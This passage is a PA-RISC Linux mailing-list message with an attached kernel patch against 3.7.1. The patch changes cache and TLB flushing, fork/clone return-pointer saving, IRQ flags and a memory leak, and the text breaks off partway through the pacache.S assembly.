If the patch doesn't help, then I think we need to review the glibc
patch sets for debian and gentoo.  I have installed an unmodified
version of 2.13-37.

Happy New Year,
Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-5-717269555
Content-Disposition: attachment; filename="linux-stable-3.7.1-20121222.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.7.1-20121222.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index b3f95a7..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include <linux/compat.h>
-#include <linux/compat_siginfo.h>
-#include <asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 48e16dc..fb449c3 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -314,7 +316,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -329,17 +331,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -373,20 +364,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -399,11 +379,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -419,6 +414,25 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -458,8 +472,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -485,20 +556,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -511,3 +596,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..c19b2b0 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1785,9 +1785,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1817,7 +1817,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1836,8 +1836,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1860,7 +1861,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -1893,15 +1894,7 @@ ENDPROC(sys_vfork_wrapper)
 
 	ldo -FRAME_SIZE(%r30),%r30
 	LDREG -RP_OFFSET(%r30),%r2
-
-	/* If exec succeeded we need to load the args */
-
-	ldo -1024(%r0),%r1
-	cmpb,>>= %r28,%r1,error_\execve
-	copy %r2,%r19
-
-error_\execve:
-	bv %r0(%r19)
+	bv,n %r0(%r2)
 	nop
 	.endm
 
@@ -2064,7 +2057,7 @@ syscall_restore:
 
 	/* Are we being ptraced? */
 	ldw	TASK_FLAGS(%r1),%r19
-	ldi	(_TIF_SINGLESTEP|_TIF_BLOCKSTEP),%r2
+	ldi	_TIF_SYSCALL_TRACE_MASK,%r2
 	and,COND(=)	%r19,%r2,%r0
 	b,n	syscall_restore_rfi
 
@@ -2177,15 +2170,23 @@ syscall_restore_rfi:
 	/* sr2 should be set to zero for userspace syscalls */
 	STREG	%r0,TASK_PT_SR2(%r1)
 
-pt_regs_ok:
 	LDREG	TASK_PT_GR31(%r1),%r2
-	depi	3,31,2,%r2			   /* ensure return to user mode. */
-	STREG	%r2,TASK_PT_IAOQ0(%r1)
+	depi	3,31,2,%r2		   /* ensure return to user mode. */
+	STREG   %r2,TASK_PT_IAOQ0(%r1)
 	ldo	4(%r2),%r2
 	STREG	%r2,TASK_PT_IAOQ1(%r1)
+	b	intr_restore
 	copy	%r25,%r16
+
+pt_regs_ok:
+	LDREG	TASK_PT_IAOQ0(%r1),%r2
+	depi	3,31,2,%r2		   /* ensure return to user mode. */
+	STREG	%r2,TASK_PT_IAOQ0(%r1)
+	LDREG	TASK_PT_IAOQ1(%r1),%r2
+	depi	3,31,2,%r2
+	STREG	%r2,TASK_PT_IAOQ1(%r1)
 	b	intr_restore
-	nop
+	copy	%r25,%r16
 
 	.import schedule,code
 syscall_do_resched:
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 08324aa..3295ef4 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -186,12 +186,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
+		kfree(pa_pdc_cell);
 		return status;
 	}
 
 	temp = pa_pdc_cell->cba;
 	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
+		kfree(pa_pdc_cell);
 		return PDC_OK;
 	}
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..ed401dd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr4, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr4, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%arg0)
+	fdce,m		%arg1(%arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
